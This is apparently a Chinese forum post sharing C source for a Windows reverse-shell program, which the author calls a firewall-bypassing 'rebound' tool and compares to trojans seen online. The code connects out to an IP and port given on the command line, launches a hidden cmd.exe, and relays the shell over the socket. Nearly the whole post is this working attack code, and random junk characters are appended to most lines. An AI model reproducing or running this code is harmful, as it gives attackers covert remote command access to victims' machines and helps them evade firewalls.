这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Ux-i iH#s
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/* ============================== h1Nd1h@-
Rebound port in Windows NT 60--6n
By wind,2006/7 yN{TcX
===============================*/ `6RR/~kP(
#include M97MIku~9
#include vX}#wDNP
F S!D
#pragma comment(lib,"wsock32.lib") *n x$r[Mqj
V {C{y5
void OutputShell(); 5*\]F}
SOCKET sClient; t|?eNKVV9'
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; V:
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void main(int argc,char **argv) FSD~Q&9&
{ ((AIrE>Rr
WSADATA stWsaData; BF/l#)$yK
int nRet; =:*2t
SOCKADDR_IN stSaiClient,stSaiServer; +5"Pm]oRbx
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if(argc != 3) ?p&( Af)
{ :k Kdda<g#
printf("Useage:\n\rRebound DestIP DestPort\n"); @MKf$O4K
return; a)QSq<2*
} 8 -YC#&
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WSAStartup(MAKEWORD(2,2),&stWsaData); p8(Z{TSv
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Dg}$;PK
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stSaiClient.sin_family = AF_INET; Mhu|S)hn
stSaiClient.sin_port = htons(0); '0<9+A#
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Sf'uKSX1%
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !W/"Z!k
{ q$'D}OH T
printf("Bind Socket Failed!\n"); v2Vmcc_]9x
return; q,T4-
E
} DCKH^J
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stSaiServer.sin_family = AF_INET; +?v2MsF']
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *nSKIDw
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); uc
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *~kHH
{ |f3 :9(p
printf("Connect Error!"); c Rv#aV
return; 7;9 Jn
} H>F j
OutputShell(); bD`h/jYv
} c@Xb6 z_>
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void OutputShell() .oqe0$I
{ s)G?5Gz
char szBuff[1024]; j8W<iy
SECURITY_ATTRIBUTES stSecurityAttributes; 0M!GoqaA
OSVERSIONINFO stOsversionInfo; m,)o&ix1
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; uxlrJ1~M
STARTUPINFO stStartupInfo; v}TFM
char *szShell; d' l|oeS
PROCESS_INFORMATION stProcessInformation; CU@}{}Yl
unsigned long lBytesRead; mo"1|Q&
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,</Kn~b
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); et=i@PB)
stSecurityAttributes.lpSecurityDescriptor = 0; `(M0I!t
stSecurityAttributes.bInheritHandle = TRUE; 0i(c XB
Sq]QRI/
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Mc{-2
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *uoO#4g~
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;KgDVq5
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Sym}#F\s
stStartupInfo.wShowWindow = SW_HIDE; ]]P@*4!
stStartupInfo.hStdInput = hReadPipe; Id=V\'$o
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 0ax;Q[z2
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GetVersionEx(&stOsversionInfo); 6w~Cyu4Ov
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switch(stOsversionInfo.dwPlatformId) 06e dVIRr
{ $f=6>Kn|^]
case 1: ~l}\K10L*
szShell = "command.com"; !8&EkXTw,
break; W3jwc{lj
default: c7D{^$L9v
szShell = "cmd.exe"; 1#9PE(!2
break; S$
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} i,wZNX
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); u82 (`+B
" s}Oeu[
send(sClient,szMsg,77,0); gYBMi)`RT
while(1) v.hQ9#:
{ $LVzhQlD
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [eFJ+|U9
if(lBytesRead) .DM-&P
{ Ygc|9}
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); K>TEt5
send(sClient,szBuff,lBytesRead,0); 0\V)DV.i
} <H$!OPV
else 7^syu;DT9Y
{ W#2} EX
lBytesRead=recv(sClient,szBuff,1024,0); "R"{xOQl
if(lBytesRead<=0) break; @w;$M]o1
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); )iid9K<HB
} /D964VR1M\
} 3taGb>15
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return; *4%%^*g.I
}